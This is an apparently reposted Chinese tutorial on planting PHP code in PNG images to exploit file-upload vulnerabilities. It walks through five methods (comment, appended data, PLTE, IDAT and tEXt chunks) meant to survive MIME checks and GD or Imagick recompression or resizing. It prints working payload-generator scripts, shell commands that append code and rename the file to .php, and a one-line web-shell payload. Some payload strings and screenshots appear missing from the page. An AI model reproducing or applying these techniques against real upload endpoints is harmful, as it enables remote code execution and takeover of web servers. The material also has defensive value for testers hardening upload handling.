黑客攻擊時如何在PNG格式的圖片中植入PHP代碼
當(dāng)前位置:點晴教程→知識管理交流
→『 技術(shù)文檔交流 』
在評估PHP應(yīng)用時候經(jīng)常會遇到文件上傳漏洞,該漏洞允許通過上傳植入有PHP代碼的文件來實現(xiàn)惡意代碼植入,尤其是在圖片上傳漏洞中,常見的文件類型是PNG格式。 PNG圖片的代碼植入方式根據(jù)防護水平的不同而不同,有四類代碼植入方式。 01 基礎(chǔ)的PNG圖片代碼植入 基本的PNG圖片上傳不考慮任何的上傳漏洞防護,很容易造成代碼植入從而導(dǎo)致PHP任意代碼執(zhí)行。 如以下代碼示例: 這段代碼只是將上傳的文件名通過添加唯一ID重命名文件,并將文件移動到可對外訪問的目錄下,即參數(shù)thumbnails_directory設(shè)定的目錄下。 這段代碼中只通過MIME做了文件格式的檢查(通過文件內(nèi)容檢查判斷文件格式),沒有做文件后綴檢查,因此只要文件內(nèi)容與PNG格式吻合即可上傳。 應(yīng)對這種只有MIME文件格式檢查的文件上傳功能,可以通過在PNG圖片中植入PHP代碼來實現(xiàn)代碼任意執(zhí)行。 方法1:PNG注釋 PNG圖片格式允許添加注釋到文件中,用于保存一些元數(shù)據(jù)。使用exiftool可以實現(xiàn)注釋添加: $ exiftool -comment="" png-hack-1.png PNG文件后綴修改為PHP后上傳,即可實現(xiàn)PHP代碼任意執(zhí)行。 方法2:直接附加 通過echo命令直接將PHP代碼附加到文件末尾即可: echo '' >> png-hack-1.png && mv png-hack-1.png png-hack-1.php 02 PHP-GD文件壓縮代碼植入 多數(shù)情況下圖片文件被上傳后會被裁剪、壓縮甚至轉(zhuǎn)換格式后存儲,比如使用PHP-GD庫。 下圖的代碼中使用PHP-GD庫的imagecreatefrompng從原始文件創(chuàng)新新的文件,而后通過imagepng函數(shù)對PNG圖片進行壓縮(參數(shù)3中指定的level 9)后進行存儲。 使用直接代碼植入的PNG圖片經(jīng)過壓縮后會失去植入的代碼,從而導(dǎo)致漏洞利用失敗。 方法3:PLTE塊 PNG文件包含兩種類型的塊信息:附加數(shù)據(jù)塊(ancillary chunks)和關(guān)鍵塊(critical chunks),前者不是PNG文件的必需,后者是PNG文件的必要信息塊。 無論使用哪種壓縮方式進行文件壓縮,都會刪除附加數(shù)據(jù)塊的內(nèi)容以減小輸出文件的大小,這也是直接將代碼植入圖片會無法奏效的原因。 所以,如果將代碼植入到PNG文件的關(guān)鍵塊中就可以避免壓縮文件的影響,這里最佳的選擇是關(guān)鍵塊里的PLTE塊(palette),比如顏色列表。 Red: 1 byte (0 = black, 255 = red) Green: 1 byte (0 = black, 255 = green) Blue: 1 byte (0 = black, 255 = blue) 所以理論上,利用PLTE塊可以插入3*256,共768字節(jié)的代碼,唯一的限制是payload必須被3整除。 <?php
if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");
$_payload = $argv[1]; $output = $argv[2];
while (strlen($_payload) % 3 != 0) { $_payload.=" "; }
$_pay_len=strlen($_payload); if ($_pay_len > 256*3){ echo "FATAL: The payload is too long. Exiting..."; exit(); } if($_pay_len %3 != 0){ echo "FATAL: The payload isn't divisible by 3. Exiting..."; exit(); }
$width=$_pay_len/3; $height=20; $im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload); $_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){ $_color_chunks=str_split($_chunks[$i], 2); $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color); }
imagepng($im,$output); php gen.php '' nasa.php 上傳nasa.php文件至文件上傳,即可執(zhí)行phpinfo()函數(shù): 03 PHP-GD尺寸裁剪代碼植入 另一種圖片文件上傳的標(biāo)準(zhǔn)操作是進行文件裁剪(resize)之后保存。應(yīng)用程序可能會用到imagecopyresized函數(shù)或imagecopyresampled函數(shù),比如以下代碼: 重定義尺寸的圖片不使用原圖片中的關(guān)鍵塊內(nèi)容,比如PLTE塊,而是新創(chuàng)建一個圖片,且僅使用源文件中的像素數(shù)據(jù),因此無論是關(guān)鍵塊還是附加數(shù)據(jù)塊在新圖片中都不復(fù)存在。所以,只能將代碼植入到源文件的像素數(shù)據(jù)中。 方法4:IDAT塊 一個相對負載但有效的辦法是將PHP代碼植入到PNG文件的IDAT塊,這些塊中包含文件的真實數(shù)據(jù),比如PNG的像素,以3個字節(jié)記錄的RGB顏色軌道。創(chuàng)建IDAT塊的時候,PNG線過濾器先處理3個字節(jié)的像素,而后使用DEFALTE算法進行壓縮。 要創(chuàng)建包含PHP代碼的PNG文件IDAT塊,必須精確地知道PNG線過濾器和DFALTE算法的執(zhí)行過程,而壓縮的過程受到裁剪大小的影響。 以將110×110像素的PNG圖片裁剪至55×55像素為例,并植入payload: <?=$_GET[0]($_POST[1]);?> 使用以上payload生成代碼執(zhí)行生成惡意PNG圖片: php gen_idat_png.php > nasa.php 最終的效果如下: 通過IDAT構(gòu)造惡意PNG圖片可以有效應(yīng)對尺寸裁剪的問題,但由于和裁剪尺寸相關(guān),因此構(gòu)造過程會非常棘手。 04 IMAGICK圖片裁剪的代碼植入 除了PHP-GD之外,應(yīng)用程序還可以使用另一種裁剪方式進行圖片裁剪,即ImageMagick的PHP版本Imagick。 使用Imagick進行圖片處理的時候(比如thumbnailImage函數(shù)或resizeImage函數(shù)),看起來可以使用應(yīng)對PHP-GD的方法來解決,比如PNG圖片的注釋或者PLTE塊植入PHP代碼。 然而,Imagick庫可以使用另一種比IDAT方法更有效的方法。 方法5:tEXt塊 tEXt chunks用于傳達與圖像相關(guān)的文本信息。每個文本塊都包含一個關(guān)鍵字作為其第一個字段,以確定文本字符串所代表的信息類型。 PNG圖片的注釋部分其實是tEXt塊中預(yù)定義的一種形式。在Imagick裁剪圖片的時候,會執(zhí)行以下操作:
date:create, date:modify, software, Thumb::Document::Pages, Thumb::Image::Height, Thumb::Image::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI;
因此,可以將PHP代碼植入到除了注釋部分和覆蓋部分的其他tEXt塊中,比如下面的代碼將植入代碼到tEXt塊中的Repoog屬性,該屬性是自定義的。 <?php
if(count($argv) != 4) exit("Usage $argv[0] <Input file> <PHP payload> <Output file>");
$input = $argv[1]; $_payload = $argv[2]; $output = $argv[3];
$imgck = new Imagick($input); $imgck->setImageProperty("Repoog", $_payload); $imgck->writeImage($output);
?> 然后執(zhí)行該腳本生成惡意PNG圖片: php gen_tEXt_png.php png-hack-1.png '' nasa.php 最終的效果如下: 綜上所述,不同PNG圖片處理方式下的代碼植入方式如下: 該文章在 2024/3/25 0:39:19 編輯過 |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... |